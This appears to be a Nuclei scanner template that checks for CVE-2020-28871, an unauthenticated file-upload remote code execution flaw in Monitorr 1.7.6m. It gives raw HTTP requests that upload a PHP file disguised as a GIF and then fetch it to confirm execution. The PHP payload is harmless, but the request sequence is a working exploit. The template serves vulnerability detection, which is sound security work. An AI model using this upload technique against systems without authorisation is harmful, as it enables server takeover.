65 lines
2.5 KiB
YAML
65 lines
2.5 KiB
YAML
id: CVE-2020-28871
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info:
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name: Monitorr 1.7.6m - Unauthenticated Remote Code Execution
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author: gy741
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severity: critical
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description: Monitorr 1.7.6m is susceptible to a remote code execution vulnerability. Improper input validation and lack of authorization leads to arbitrary file uploads in the web application. An unauthorized attacker with web access to could upload and execute a specially crafted file, leading to remote code execution within the Monitorr.
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remediation: |
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Upgrade to a patched version of Monitorr or apply the necessary security patches.
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reference:
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- https://www.exploit-db.com/exploits/48980
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- https://lyhinslab.org/index.php/2020/09/12/how-the-white-box-hacking-works-authorization-bypass-and-remote-code-execution-in-monitorr-1-7-6/
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- https://nvd.nist.gov/vuln/detail/CVE-2020-28871
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- http://packetstormsecurity.com/files/163263/Monitorr-1.7.6m-Bypass-Information-Disclosure-Shell-Upload.html
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- http://packetstormsecurity.com/files/170974/Monitorr-1.7.6-Shell-Upload.html
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2020-28871
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cwe-id: CWE-434
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epss-score: 0.96633
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epss-percentile: 0.99468
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cpe: cpe:2.3:a:monitorr_project:monitorr:1.7.6m:*:*:*:*:*:*:*
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metadata:
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max-request: 2
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vendor: monitorr_project
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product: monitorr
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tags: unauth,cve,fileupload,monitor,edb,intrusive,packetstorm,cve2020,rce
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http:
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- raw:
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- |
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POST /assets/php/upload.php HTTP/1.1
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Host: {{Hostname}}
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Accept-Encoding: gzip, deflate
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Accept: text/plain, */*; q=0.01
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Connection: close
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Accept-Language: en-US,en;q=0.5
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X-Requested-With: XMLHttpRequest
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Content-Type: multipart/form-data; boundary=---------------------------31046105003900160576454225745
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Origin: http://{{Hostname}}
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Referer: http://{{Hostname}}
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-----------------------------31046105003900160576454225745
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Content-Disposition: form-data; name="fileToUpload"; filename="{{randstr}}.php"
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Content-Type: image/gif
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GIF89a213213123<?php echo md5('CVE-2020-28871');unlink(__FILE__); ?>
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-----------------------------31046105003900160576454225745--
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- |
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GET /assets/data/usrimg/{{tolower("{{randstr}}.php")}} HTTP/1.1
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Host: {{Hostname}}
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matchers-condition: and
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matchers:
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- type: word
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part: body_2
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words:
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- "d03c180355b797069cc047ff5606d689"
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- type: status
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status:
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- 200
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